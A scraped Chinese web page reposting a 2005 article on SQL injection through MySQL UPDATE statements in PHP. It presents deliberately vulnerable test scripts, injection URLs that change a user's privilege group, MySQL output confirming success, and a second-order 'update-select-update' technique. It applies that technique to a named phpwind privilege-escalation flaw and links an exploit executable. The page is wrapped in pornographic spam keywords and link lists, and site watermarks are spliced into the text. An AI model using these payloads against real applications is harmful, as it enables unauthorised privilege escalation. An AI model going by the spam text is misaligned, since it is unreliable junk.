色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

UPDATE注射(mysql+php)的兩個(gè)模式

瀏覽:5日期:2024-01-09 08:56:31

本文作者:SuperHei文章性質(zhì):原創(chuàng)發(fā)布日期:2005-08-14

一、測(cè)試環(huán)境網(wǎng)管下載dl.bitscn.com

OS: Windowsxp sp2php: php 4.3.10mysql 4.1.9apache 1.3.33

二、測(cè)試數(shù)據(jù)庫(kù)結(jié)構(gòu)

-- 數(shù)據(jù)庫(kù): `test`--

-- --------------------------------------------------------

---- 表的結(jié)構(gòu) `userinfo`--網(wǎng)管網(wǎng)www_bitscn_com

CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default '1',`user` varchar(12) NOT NULL default 'heige',`pass` varchar(122) NOT NULL default '123456') TYPE=MyISAM DEFAULT CHARSET=utf8;網(wǎng)管u家u.bitsCN.com

---- 導(dǎo)出表中的數(shù)據(jù) `userinfo`--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

三、測(cè)試模式

1、變量沒(méi)有帶''或''中國(guó)網(wǎng)管聯(lián)盟bitsCN.com

<?php//test1.php Mod1$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數(shù)據(jù)庫(kù)連接失敗');中國(guó)網(wǎng)管論壇bbs.bitsCN.com

$sql = 'update userinfo set pass=$p where user='heige'';//<--$P沒(méi)有使用單引號(hào)

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);中國(guó)網(wǎng)管論壇bbs.bitsCN.com

echo '<p>SQL Query:$sql<p>';?>

腳本里只是修改 user='heige' 的 pass,如果 groudid 表示用戶(hù)的權(quán)限等級(jí),我們的目的就是通過(guò)構(gòu)造 $p 來(lái)達(dá)到修改 groupid 的目的,那么我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢(xún):

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.01 sec)

用戶(hù)heige的groudid又2改為1了 :)

所以我們可以得到?jīng)]有''或''update的注射是可以成功的,這個(gè)就是我們的模式1。

2、變量帶''或''

<?php//test2.php$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數(shù)據(jù)庫(kù)連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號(hào)中國(guó)網(wǎng)管論壇bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);網(wǎng)管論壇bbs_bitsCN_com

echo '<p>SQL Query:$sql<p>';?>

為了關(guān)閉'我們構(gòu)造$p應(yīng)該為123456',groudid='2提交:中國(guó)網(wǎng)管論壇bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1

在gpc=on的情況下'變成了',提交的語(yǔ)句變成:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql查詢(xún):

mysql> select * from userinfo;+---------+-------+--------------------+| groudid | user | pass |+---------+-------+--------------------+| 2 | heige | 123456',groudid='1 |+---------+-------+--------------------+1 row in set (0.00 sec)網(wǎng)管bitscn_com

groudid并沒(méi)有被修改。那么在變量被''或''時(shí) 就完全沒(méi)有被注射呢?不是 下面我們看模式2:

<?php//test3.php Mod2$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數(shù)據(jù)庫(kù)連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號(hào)網(wǎng)管u家u.bitscn@com

$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //$p的數(shù)據(jù)寫(xiě)入數(shù)據(jù)庫(kù)

$sql= 'select pass from userinfo where user='heige'';$result = mysql_db_query($dbname, $sql);$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢(xún)輸出給$userinfo[0]

$sql ='update userinfo set pass='$userinfo[0]' where user='heige'';$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //把$userinfo[0] 再次update中國(guó)網(wǎng)管聯(lián)盟bitsCN.com

?>

我們測(cè)試下,提交:網(wǎng)管bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢(xún)下 :網(wǎng)管論壇bbs_bitsCN_com

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid為1。 這個(gè)就是我們的模式2了,簡(jiǎn)單的描敘如下:

update --> select --> update

四、實(shí)際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權(quán)限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語(yǔ)句里為,icon='$userdb[icon]')↓select (jop.php)↓updtate (jop.php)網(wǎng)管論壇bbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五、鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!

標(biāo)簽: PHP
主站蜘蛛池模板: 亚洲欧洲小视频 | 国产国产人免费视频成69堂 | 日韩国产在线 | 欧美日韩永久久一区二区三区 | 国产最新自拍 | 亚洲国产综合人成综合网站00 | 99精品久久精品一区二区 | 国产精品情人露脸在线观看 | 国产欧美日韩在线一区二区不卡 | 国内一区 | 国产手机在线小视频免费观看 | 国产三级a三级三级 | 亚洲视频在线观看视频 | 日韩欧美视频在线播放 | 99久久国产综合精品网成人影院 | 国产一区二区日韩欧美在线 | 国产精品久久久久国产精品三级 | 国产视频精品久久 | 91精品啪在线看国产网站 | 免费国产一级 | 国产成人小视频 | 午夜性生活视频 | 香蕉依依精品视频在线播放 | 亚洲精品资源在线 | 国产在线观看精品 | 中文字幕乱码中文乱码51精品 | 男人女人做刺激视频免费 | 欧美日韩在线视频播放 | 亚洲三级精品 | 一区二区三区四区视频 | 免费看一级欧美毛片 | 日本aaa毛片 | 国产最爽的乱淫视频国语对 | 国产成人mv在线观看入口视频 | 五月激情丁香婷婷综合第九 | 成人免费视频社区 | 亚洲欧美日韩色 | 久久一本一区二区三区 | 免费香蕉成视频成人网 | 欧美日韩专区国产精品 | 正在播放国产精品放孕妇 |